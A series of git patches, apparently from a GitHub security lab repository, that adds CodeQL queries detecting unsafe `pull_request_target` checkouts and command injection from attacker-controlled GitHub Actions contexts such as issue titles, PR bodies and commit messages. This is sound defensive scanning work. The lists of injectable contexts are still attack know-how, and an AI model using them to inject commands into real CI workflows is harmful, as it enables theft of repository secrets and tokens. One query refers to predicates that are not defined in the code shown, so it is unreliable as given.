From 45497988b1da3b4341f9cac6d15fc0f539334db0 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Tue, 19 Jan 2021 16:40:54 +0000
Subject: [PATCH 001/104] Fix link to video.

---
 .github/actions/replicate/replicate.js | 4 ++--
 .github/actions/replicate/replicate.ts | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/actions/replicate/replicate.js b/.github/actions/replicate/replicate.js
index 3d323e8..05d06d2 100644
--- a/.github/actions/replicate/replicate.js
+++ b/.github/actions/replicate/replicate.js
@@ -26,7 +26,7 @@ const issues_1 = require("./issues");
 exports.BOUNTY_LABELS = ['All For One', 'The Bug Slayer'];
 const COMMENT_TASK_LIST_AFO = `## Task List
 
-- **If this is your first time in this process, have a look at that [5 min video](https://drive.google.com/drive/folders/1Jq6UfqP3CRF9Iafde86_IPAQPfdgH5rR)**
+- **If this is your first time in this process, have a look at that [5 min video](https://drive.google.com/file/d/1Uy3JukURoSk-2Bq7EjyagVdpsyvKI67E)**
 - **Visit the [documented process](https://github.com/github/pe-security-lab/blob/master/docs/bug_bounty.md)**
 
 - [ ] CodeQL Initial assessment - In case of rejection, please record your decision in the comment below:
@@ -245,4 +245,4 @@ const run = async () => {
     }
 };
 run();
-//# sourceMappingURL=replicate.js.map
\ No newline at end of file
+//# sourceMappingURL=replicate.js.map
diff --git a/.github/actions/replicate/replicate.ts b/.github/actions/replicate/replicate.ts
index 386efa1..171dbd2 100644
--- a/.github/actions/replicate/replicate.ts
+++ b/.github/actions/replicate/replicate.ts
@@ -11,7 +11,7 @@ type GitHubIssue = { [key: string]: any, number: number, html_url?: string | und
 
 const COMMENT_TASK_LIST_AFO = `## Task List
 
-- **If this is your first time in this process, have a look at that [5 min video](https://drive.google.com/drive/folders/1Jq6UfqP3CRF9Iafde86_IPAQPfdgH5rR)**
+- **If this is your first time in this process, have a look at that [5 min video](https://drive.google.com/file/d/1Uy3JukURoSk-2Bq7EjyagVdpsyvKI67E)**
 - **Visit the [documented process](https://github.com/github/pe-security-lab/blob/master/docs/bug_bounty.md)**
 
 - [ ] CodeQL Initial assessment - In case of rejection, please record your decision in the comment below:

From a70a6be0b4428d1a5720a05303606c298bdcfcb6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jaroslav=20Loba=C4=8Devski?= <jarlob@github.com>
Date: Thu, 28 Jan 2021 22:59:01 +0200
Subject: [PATCH 002/104] Create pull_request_target.ql

---
 CodeQL_Queries/actions/pull_request_target.ql | 342 ++++++++++++++++++
 1 file changed, 342 insertions(+)
 create mode 100644 CodeQL_Queries/actions/pull_request_target.ql

diff --git a/CodeQL_Queries/actions/pull_request_target.ql b/CodeQL_Queries/actions/pull_request_target.ql
new file mode 100644
index 0000000..42baa9b
--- /dev/null
+++ b/CodeQL_Queries/actions/pull_request_target.ql
@@ -0,0 +1,342 @@
+/**
+ * @name pull_request_target with explicit pull request checkout
+ * @description Workflows triggered on `pull_request_target` have read/write tokens for the base repository and the access to secrets.
+ *              By explicitly checking out and running the build script from a fork the untrusted code is running in an environment
+ *              that is able to push to the base repository and to access secrets.
+ * @id java/actions/pull_request_target
+ * @kind problem
+ * @problem.severity warning
+ */
+
+import javascript
+
+/**
+ * Libraries for modelling GitHub Actions workflow files written in YAML.
+ * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions.
+ */
+module Actions {
+  /** A YAML node in a GitHub Actions workflow file. */
+  class Node extends YAMLNode {
+    Node() { this.getLocation().getFile().getRelativePath().matches(".github/workflows/%") }
+  }
+
+  /**
+   * An Actions workflow. This is a mapping at the top level of an Actions YAML workflow file.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions.
+   */
+  class Workflow extends Node, YAMLDocument, YAMLMapping {
+    /** Gets the `jobs` mapping from job IDs to job definitions in this workflow. */
+    YAMLMapping getJobs() { result = this.lookup("jobs") }
+
+    /** Gets the name of the workflow file. */
+    string getFileName() { result = this.getFile().getBaseName() }
+
+    /** Gets the `on:` in this workflow. */
+    On getOn() { result = this.lookup("on") }
+
+    /** Gets the job within this workflow with the given job ID. */
+    Job getJob(string jobId) { result.getWorkflow() = this and result.getId() = jobId }
+  }
+
+  /**
+   * An Actions job within a workflow.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobs.
+   */
+  class Job extends YAMLNode, YAMLMapping {
+    string jobId;
+    Workflow workflow;
+
+    Job() { this = workflow.getJobs().lookup(jobId) }
+
+    /**
+     * Gets the ID of this job, as a string.
+     * This is the job's key within the `jobs` mapping.
+     */
+    string getId() { result = jobId }
+
+    /**
+     * Gets the ID of this job, as a YAML scalar node.
+     * This is the job's key within the `jobs` mapping.
+     */
+    YAMLString getIdNode() { workflow.getJobs().maps(result, this) }
+
+    /** Gets the human-readable name of this job, if any, as a string. */
+    string getName() { result = this.getNameNode().getValue() }
+
+    /** Gets the human-readable name of this job, if any, as a YAML scalar node. */
+    YAMLString getNameNode() { result = this.lookup("name") }
+
+    /** Gets the step at the given index within this job. */
+    Step getStep(int index) { result.getJob() = this and result.getIndex() = index }
+
+    /** Gets the sequence of `steps` within this job. */
+    YAMLSequence getSteps() { result = this.lookup("steps") }
+
+    /** Gets the workflow this job belongs to. */
+    Workflow getWorkflow() { result = workflow }
+
+    /** Gets the value of the `if` field in this job, if any. */
+    JobIf getIf() { result.getJob() = this }
+  }
+
+  class JobIf extends YAMLNode, YAMLScalar {
+    Job job;
+
+    JobIf() {
+      job.lookup("if") = this
+    }
+
+    /** Gets the step this field belongs to. */
+    Job getJob() { result = job }
+  }
+
+  /**
+   * A step within an Actions job.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsteps.
+   */
+  class Step extends YAMLNode, YAMLMapping {
+    int index;
+    Job job;
+
+    Step() { this = job.getSteps().getElement(index) }
+
+    /** Gets the 0-based position of this step within the sequence of `steps`. */
+    int getIndex() { result = index }
+
+    /** Gets the job this step belongs to. */
+    Job getJob() { result = job }
+
+    /** Gets the value of the `uses` field in this step, if any. */
+    Uses getUses() { result.getStep() = this }
+
+    /** Gets the value of the `run` field in this step, if any. */
+    Run getRun() { result.getStep() = this }
+
+    /** Gets the value of the `if` field in this step, if any. */
+    StepIf getIf() { result.getStep() = this }
+  }
+
+  class StepIf extends YAMLNode, YAMLScalar {
+    Step step;
+
+    StepIf() {
+      step.lookup("if") = this
+    }
+
+    /** Gets the step this field belongs to. */
+    Step getStep() { result = step }
+  }
+
+  /**
+   * A `uses` field within an Actions job step, which references an action as a reusable unit of code.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses.
+   *
+   * For example:
+   * ```
+   * uses: actions/checkout@v2
+   * ```
+   * TODO: Does not currently handle local repository references, e.g. `.github/actions/action-name`.
+   */
+  class Uses extends YAMLNode, YAMLScalar {
+    Step step;
+    /** The owner of the repository where the Action comes from, e.g. `actions` in `actions/checkout@v2`. */
+    string repositoryOwner;
+    /** The name of the repository where the Action comes from, e.g. `checkout` in `actions/checkout@v2`. */
+    string repositoryName;
+    /** The version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`. */
+    string version;
+
+    Uses() {
+      step.lookup("uses") = this and
+      // Simple regular expression to split up an Action reference `owner/repo@version` into its components.
+      exists(string regexp | regexp = "([^/]+)/([^/@]+)@(.+)" |
+        repositoryOwner = this.getValue().regexpCapture(regexp, 1) and
+        repositoryName = this.getValue().regexpCapture(regexp, 2) and
+        version = this.getValue().regexpCapture(regexp, 3)
+      )
+    }
+
+    /** Gets the step this field belongs to. */
+    Step getStep() { result = step }
+
+    /** Gets the owner and name of the repository where the Action comes from, e.g. `actions/checkout` in `actions/checkout@v2`. */
+    string getGitHubRepository() { result = repositoryOwner + "/" + repositoryName }
+
+    /** Gets the version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`. */
+    string getVersion() { result = version }
+  }
+
+  class MappingOrSequenceOrScalar extends YAMLNode {
+    MappingOrSequenceOrScalar() {
+      this instanceof YAMLMapping
+      or
+      this instanceof YAMLSequence
+      or
+      this instanceof YAMLScalar
+    }
+
+    YAMLNode getNode(string name) {
+      exists(YAMLMapping mapping |
+        mapping = this and
+        result = mapping.lookup(name)
+      )
+      or
+      exists(YAMLSequence sequence, YAMLNode node |
+        sequence = this and
+        sequence.getAChildNode() = node and
+        node.eval().toString() = name and
+        result = node
+      )
+      or
+      exists(YAMLScalar scalar |
+        scalar = this and
+        scalar.getValue() = name and
+        result = scalar
+      )
+    }
+
+    int getElementCount() {
+      exists(YAMLMapping mapping |
+        mapping = this and
+        result = mapping.getNumChild() / 2
+      )
+      or
+      exists(YAMLSequence sequence |
+        sequence = this and
+        result = sequence.getNumChild()
+      )
+      or
+      exists(YAMLScalar scalar |
+        scalar = this and
+        result = 1
+      )
+    }
+  }
+
+  class On extends YAMLNode, MappingOrSequenceOrScalar {
+    Workflow workflow;
+
+    On() { workflow.lookup("on") = this }
+
+    Workflow getWorkflow() { result = workflow }
+  }
+
+  class With extends YAMLNode, YAMLMapping {
+    Step step;
+
+    With() { step.lookup("with") = this }
+
+    /** Gets the step this field belongs to. */
+    Step getStep() { result = step }
+  }
+
+  class Ref extends YAMLNode, YAMLString {
+    With with;
+
+    Ref() { with.lookup("ref") = this }
+
+    With getWith() { result = with }
+  }
+
+  /**
+   * A `run` field within an Actions job step, which runs command-line programs using an operating system shell.
+   * See https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun.
+   */
+  class Run extends YAMLNode, YAMLString {
+    Step step;
+
+    Run() { step.lookup("run") = this }
+
+    /** Gets the step that executes this `run` command. */
+    Step getStep() { result = step }
+
+    /**
+     * Holds if `${{ e }}` is a GitHub Actions expression evaluated within this `run` command.
+     * See https://docs.github.com/en/free-pro-team@latest/actions/reference/context-and-expression-syntax-for-github-actions.
+     */
+    string getAReferencedExpression() {
+      // We use `regexpFind` to obtain *all* matches of `${{...}}`,
+      // not just the last (greedy match) or first (reluctant match).
+      // TODO: This only handles expression strings that refer to contexts.
+      // It does not handle operators within the expression.
+      result =
+        this.getValue().regexpFind("(?<=\\$\\{\\{\\s*)[A-Za-z0-9_\\.\\-]+(?=\\s*\\}\\})", _, _)
+    }
+  }
+}
+
+// TODO: Cannot yet treat these as DataFlow::Nodes, because YAMLValue is inconvertible to Expr.
+/**
+ * Holds if `child` is the qualified name of a GitHub Actions context nested as
+ * a property of the GitHub Actions context with qualified name `parent`.
+ * For example, `github.event.issue.body` is a child of `github.event.issue`.
+ */
+bindingset[child]
+predicate nestedContext(string parent, string child) {
+  parent = child.regexpCapture("([A-Za-z0-9_\\.\\-]+)\\.[A-Za-z0-9_\\-]+", 1)
+}
+
+bindingset[context]
+private predicate isExternalUserControlledIssue(string context) {
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*issue\\s*\\.\\s*title\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*issue\\s*\\.\\s*body\\b")
+}
+
+bindingset[context]
+private predicate isExternalUserControlledPullRequest(string context) {
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*title\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*body\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*label\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*repo\\s*\\.\\s*default_branch\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*ref\\b")
+}
+
+bindingset[context]
+private predicate isExternalUserControlledReview(string context) {
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*review\\s*\\.\\s*body\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*review_comment\\s*\\.\\s*body\\b")
+}
+
+bindingset[context]
+private predicate isExternalUserControlledComment(string context) {
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*comment\\s*\\.\\s*body\\b")
+}
+
+bindingset[context]
+private predicate isExternalUserControlledGollum(string context) {
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pages(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*page_name\\b")
+}
+
+/**
+ * Holds if `context` is a GitHub Actions context object containing values
+ * that may be controlled by an external user with public access to the repository.
+ */
+bindingset[context]
+private predicate isExternalUserControlledCommit(string context) {
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*message\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*message\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*email\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*name\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*email\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*name\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*head_ref\\b")
+}
+
+from Actions::Ref ref, Actions::Uses uses, Actions::Step step, Actions::Job job,
+    ProbablePullRequestTarget pullRequestTarget
+where
+    pullRequestTarget.getWorkflow() = job.getWorkflow()
+    and uses.getStep() = step
+    and ref.getWith().getStep() = step
+    and step.getJob() = job
+    and uses.getGitHubRepository() = "actions/checkout"
+    and (
+      ref.getValue().matches("%github.event.pull_request.head.ref%") or
+      ref.getValue().matches("%github.event.pull_request.head.sha%") or
+      ref.getValue().matches("%github.event.pull_request.number%") or
+      ref.getValue().matches("%github.event.number%") or
+      ref.getValue().matches("%github.head_ref%")
+      )
+    and step instanceof ProbableStep
+    and job instanceof ProbableJob
+select step, "Potential unsafe checkout of untrusted pull request on `pull_request_target`"

From a9a14dae4b6d0c5fdcfe42276dc9e487ea48f4d1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jaroslav=20Loba=C4=8Devski?= <jarlob@github.com>
Date: Thu, 28 Jan 2021 22:59:29 +0200
Subject: [PATCH 003/104] Create script_injections.ql

---
 CodeQL_Queries/actions/script_injections.ql | 353 ++++++++++++++++++++
 1 file changed, 353 insertions(+)
 create mode 100644 CodeQL_Queries/actions/script_injections.ql

diff --git a/CodeQL_Queries/actions/script_injections.ql b/CodeQL_Queries/actions/script_injections.ql
new file mode 100644
index 0000000..521b41c
--- /dev/null
+++ b/CodeQL_Queries/actions/script_injections.ql
@@ -0,0 +1,353 @@
+/**
+ * @name Command injection from user-controlled Actions context
+ * @description Using user-controlled GitHub Actions contexts in a command line may allow a malicious
+ *              user to change the meaning of the command.
+ * @id java/actions/command-injection
+ * @kind problem
+ * @problem.severity error
+ */
+
+import javascript
+
+/**
+ * Libraries for modelling GitHub Actions workflow files written in YAML.
+ * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions.
+ */
+module Actions {
+  /** A YAML node in a GitHub Actions workflow file. */
+  class Node extends YAMLNode {
+    Node() { this.getLocation().getFile().getRelativePath().matches(".github/workflows/%") }
+  }
+
+  /**
+   * An Actions workflow. This is a mapping at the top level of an Actions YAML workflow file.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions.
+   */
+  class Workflow extends Node, YAMLDocument, YAMLMapping {
+    /** Gets the `jobs` mapping from job IDs to job definitions in this workflow. */
+    YAMLMapping getJobs() { result = this.lookup("jobs") }
+
+    /** Gets the name of the workflow file. */
+    string getFileName() { result = this.getFile().getBaseName() }
+
+    /** Gets the `on:` in this workflow. */
+    On getOn() { result = this.lookup("on") }
+
+    /** Gets the job within this workflow with the given job ID. */
+    Job getJob(string jobId) { result.getWorkflow() = this and result.getId() = jobId }
+  }
+
+  /**
+   * An Actions job within a workflow.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobs.
+   */
+  class Job extends YAMLNode, YAMLMapping {
+    string jobId;
+    Workflow workflow;
+
+    Job() { this = workflow.getJobs().lookup(jobId) }
+
+    /**
+     * Gets the ID of this job, as a string.
+     * This is the job's key within the `jobs` mapping.
+     */
+    string getId() { result = jobId }
+
+    /**
+     * Gets the ID of this job, as a YAML scalar node.
+     * This is the job's key within the `jobs` mapping.
+     */
+    YAMLString getIdNode() { workflow.getJobs().maps(result, this) }
+
+    /** Gets the human-readable name of this job, if any, as a string. */
+    string getName() { result = this.getNameNode().getValue() }
+
+    /** Gets the human-readable name of this job, if any, as a YAML scalar node. */
+    YAMLString getNameNode() { result = this.lookup("name") }
+
+    /** Gets the step at the given index within this job. */
+    Step getStep(int index) { result.getJob() = this and result.getIndex() = index }
+
+    /** Gets the sequence of `steps` within this job. */
+    YAMLSequence getSteps() { result = this.lookup("steps") }
+
+    /** Gets the workflow this job belongs to. */
+    Workflow getWorkflow() { result = workflow }
+
+    /** Gets the value of the `if` field in this job, if any. */
+    JobIf getIf() { result.getJob() = this }
+  }
+
+  class JobIf extends YAMLNode, YAMLScalar {
+    Job job;
+
+    JobIf() {
+      job.lookup("if") = this
+    }
+
+    /** Gets the step this field belongs to. */
+    Job getJob() { result = job }
+  }
+
+  /**
+   * A step within an Actions job.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsteps.
+   */
+  class Step extends YAMLNode, YAMLMapping {
+    int index;
+    Job job;
+
+    Step() { this = job.getSteps().getElement(index) }
+
+    /** Gets the 0-based position of this step within the sequence of `steps`. */
+    int getIndex() { result = index }
+
+    /** Gets the job this step belongs to. */
+    Job getJob() { result = job }
+
+    /** Gets the value of the `uses` field in this step, if any. */
+    Uses getUses() { result.getStep() = this }
+
+    /** Gets the value of the `run` field in this step, if any. */
+    Run getRun() { result.getStep() = this }
+
+    /** Gets the value of the `if` field in this step, if any. */
+    StepIf getIf() { result.getStep() = this }
+  }
+
+  class StepIf extends YAMLNode, YAMLScalar {
+    Step step;
+
+    StepIf() {
+      step.lookup("if") = this
+    }
+
+    /** Gets the step this field belongs to. */
+    Step getStep() { result = step }
+  }
+
+  /**
+   * A `uses` field within an Actions job step, which references an action as a reusable unit of code.
+   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses.
+   *
+   * For example:
+   * ```
+   * uses: actions/checkout@v2
+   * ```
+   * TODO: Does not currently handle local repository references, e.g. `.github/actions/action-name`.
+   */
+  class Uses extends YAMLNode, YAMLScalar {
+    Step step;
+    /** The owner of the repository where the Action comes from, e.g. `actions` in `actions/checkout@v2`. */
+    string repositoryOwner;
+    /** The name of the repository where the Action comes from, e.g. `checkout` in `actions/checkout@v2`. */
+    string repositoryName;
+    /** The version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`. */
+    string version;
+
+    Uses() {
+      step.lookup("uses") = this and
+      // Simple regular expression to split up an Action reference `owner/repo@version` into its components.
+      exists(string regexp | regexp = "([^/]+)/([^/@]+)@(.+)" |
+        repositoryOwner = this.getValue().regexpCapture(regexp, 1) and
+        repositoryName = this.getValue().regexpCapture(regexp, 2) and
+        version = this.getValue().regexpCapture(regexp, 3)
+      )
+    }
+
+    /** Gets the step this field belongs to. */
+    Step getStep() { result = step }
+
+    /** Gets the owner and name of the repository where the Action comes from, e.g. `actions/checkout` in `actions/checkout@v2`. */
+    string getGitHubRepository() { result = repositoryOwner + "/" + repositoryName }
+
+    /** Gets the version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`. */
+    string getVersion() { result = version }
+  }
+
+  class MappingOrSequenceOrScalar extends YAMLNode {
+    MappingOrSequenceOrScalar() {
+      this instanceof YAMLMapping
+      or
+      this instanceof YAMLSequence
+      or
+      this instanceof YAMLScalar
+    }
+
+    YAMLNode getNode(string name) {
+      exists(YAMLMapping mapping |
+        mapping = this and
+        result = mapping.lookup(name)
+      )
+      or
+      exists(YAMLSequence sequence, YAMLNode node |
+        sequence = this and
+        sequence.getAChildNode() = node and
+        node.eval().toString() = name and
+        result = node
+      )
+      or
+      exists(YAMLScalar scalar |
+        scalar = this and
+        scalar.getValue() = name and
+        result = scalar
+      )
+    }
+
+    int getElementCount() {
+      exists(YAMLMapping mapping |
+        mapping = this and
+        result = mapping.getNumChild() / 2
+      )
+      or
+      exists(YAMLSequence sequence |
+        sequence = this and
+        result = sequence.getNumChild()
+      )
+      or
+      exists(YAMLScalar scalar |
+        scalar = this and
+        result = 1
+      )
+    }
+  }
+
+  class On extends YAMLNode, MappingOrSequenceOrScalar {
+    Workflow workflow;
+
+    On() { workflow.lookup("on") = this }
+
+    Workflow getWorkflow() { result = workflow }
+  }
+
+  class With extends YAMLNode, YAMLMapping {
+    Step step;
+
+    With() { step.lookup("with") = this }
+
+    /** Gets the step this field belongs to. */
+    Step getStep() { result = step }
+  }
+
+  class Ref extends YAMLNode, YAMLString {
+    With with;
+
+    Ref() { with.lookup("ref") = this }
+
+    With getWith() { result = with }
+  }
+
+  /**
+   * A `run` field within an Actions job step, which runs command-line programs using an operating system shell.
+   * See https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun.
+   */
+  class Run extends YAMLNode, YAMLString {
+    Step step;
+
+    Run() { step.lookup("run") = this }
+
+    /** Gets the step that executes this `run` command. */
+    Step getStep() { result = step }
+
+    /**
+     * Holds if `${{ e }}` is a GitHub Actions expression evaluated within this `run` command.
+     * See https://docs.github.com/en/free-pro-team@latest/actions/reference/context-and-expression-syntax-for-github-actions.
+     */
+    string getAReferencedExpression() {
+      // We use `regexpFind` to obtain *all* matches of `${{...}}`,
+      // not just the last (greedy match) or first (reluctant match).
+      // TODO: This only handles expression strings that refer to contexts.
+      // It does not handle operators within the expression.
+      result =
+        this.getValue().regexpFind("(?<=\\$\\{\\{\\s*)[A-Za-z0-9_\\.\\-]+(?=\\s*\\}\\})", _, _)
+    }
+  }
+}
+
+// TODO: Cannot yet treat these as DataFlow::Nodes, because YAMLValue is inconvertible to Expr.
+/**
+ * Holds if `child` is the qualified name of a GitHub Actions context nested as
+ * a property of the GitHub Actions context with qualified name `parent`.
+ * For example, `github.event.issue.body` is a child of `github.event.issue`.
+ */
+bindingset[child]
+predicate nestedContext(string parent, string child) {
+  parent = child.regexpCapture("([A-Za-z0-9_\\.\\-]+)\\.[A-Za-z0-9_\\-]+", 1)
+}
+
+bindingset[context]
+private predicate isExternalUserControlledIssue(string context) {
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*issue\\s*\\.\\s*title\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*issue\\s*\\.\\s*body\\b")
+}
+
+bindingset[context]
+private predicate isExternalUserControlledPullRequest(string context) {
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*title\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*body\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*label\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*repo\\s*\\.\\s*default_branch\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*ref\\b")
+}
+
+bindingset[context]
+private predicate isExternalUserControlledReview(string context) {
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*review\\s*\\.\\s*body\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*review_comment\\s*\\.\\s*body\\b")
+}
+
+bindingset[context]
+private predicate isExternalUserControlledComment(string context) {
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*comment\\s*\\.\\s*body\\b")
+}
+
+bindingset[context]
+private predicate isExternalUserControlledGollum(string context) {
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pages(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*page_name\\b")
+}
+
+/**
+ * Holds if `context` is a GitHub Actions context object containing values
+ * that may be controlled by an external user with public access to the repository.
+ */
+bindingset[context]
+private predicate isExternalUserControlledCommit(string context) {
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*message\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*message\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*email\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*name\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*email\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*name\\b") or
+  context.regexpMatch("\\bgithub\\s*\\.\\s*head_ref\\b")
+}
+
+from Actions::Run run, string context, Actions::On on
+where
+  run.getAReferencedExpression() = context and
+  run.getStep().getJob().getWorkflow().getOn() = on and (
+    (
+      exists(on.getNode("issues")) and
+      isExternalUserControlledIssue(context)
+    ) or
+    (
+      exists(on.getNode("pull_request_target")) and
+      isExternalUserControlledPullRequest(context)
+    ) or
+    (
+     (exists(on.getNode("pull_request_review_comment")) or exists(on.getNode("pull_request_review"))) and
+     isExternalUserControlledReview(context)
+    ) or
+    (
+      (exists(on.getNode("issue_comment")) or exists(on.getNode("pull_request_target"))) and
+      isExternalUserControlledComment(context)
+    ) or
+    (
+      exists(on.getNode("gollum")) and
+      isExternalUserControlledGollum(context)
+    ) or
+    (
+      exists(on.getNode("pull_request_target")) and
+      isExternalUserControlledCommit(context)
+    )
+  )
+select run, "Potential command injection from the " + context + " context, which may be controlled by an external user."

From 73925bb25e71ec3548c7d516572754faa5e330a1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jaroslav=20Loba=C4=8Devski?= <jarlob@github.com>
Date: Thu, 28 Jan 2021 23:03:44 +0200
Subject: [PATCH 004/104] Create README.md

---
 CodeQL_Queries/actions/README.md | 2 ++
 1 file changed, 2 insertions(+)
 create mode 100644 CodeQL_Queries/actions/README.md

diff --git a/CodeQL_Queries/actions/README.md b/CodeQL_Queries/actions/README.md
new file mode 100644
index 0000000..8e44a1a
--- /dev/null
+++ b/CodeQL_Queries/actions/README.md
@@ -0,0 +1,2 @@
+Created by @adityasharad, extended by @jarlob.  
+Read more on [https://securitylab.github.com/research/github-actions-untrusted-input](https://securitylab.github.com/research/github-actions-untrusted-input).

From 0c442382f9bafd7d36a6feca5339f0986a510693 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jaroslav=20Loba=C4=8Devski?= <jarlob@github.com>
Date: Fri, 29 Jan 2021 00:07:29 +0200
Subject: [PATCH 005/104] Update pull_request_target.ql

---
 CodeQL_Queries/actions/pull_request_target.ql | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/CodeQL_Queries/actions/pull_request_target.ql b/CodeQL_Queries/actions/pull_request_target.ql
index 42baa9b..28081dd 100644
--- a/CodeQL_Queries/actions/pull_request_target.ql
+++ b/CodeQL_Queries/actions/pull_request_target.ql
@@ -3,7 +3,7 @@
  * @description Workflows triggered on `pull_request_target` have read/write tokens for the base repository and the access to secrets.
  *              By explicitly checking out and running the build script from a fork the untrusted code is running in an environment
  *              that is able to push to the base repository and to access secrets.
- * @id java/actions/pull_request_target
+ * @id javascript/actions/pull_request_target
  * @kind problem
  * @problem.severity warning
  */

From b1463055fffb77e7d815444cad31b73785c2a47b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jaroslav=20Loba=C4=8Devski?= <jarlob@github.com>
Date: Fri, 29 Jan 2021 00:07:55 +0200
Subject: [PATCH 006/104] Update script_injections.ql

---
 CodeQL_Queries/actions/script_injections.ql | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/CodeQL_Queries/actions/script_injections.ql b/CodeQL_Queries/actions/script_injections.ql
index 521b41c..bf67c40 100644
--- a/CodeQL_Queries/actions/script_injections.ql
+++ b/CodeQL_Queries/actions/script_injections.ql
@@ -2,7 +2,7 @@
  * @name Command injection from user-controlled Actions context
  * @description Using user-controlled GitHub Actions contexts in a command line may allow a malicious
  *              user to change the meaning of the command.
- * @id java/actions/command-injection
+ * @id javascript/actions/command-injection
  * @kind problem
  * @problem.severity error
  */

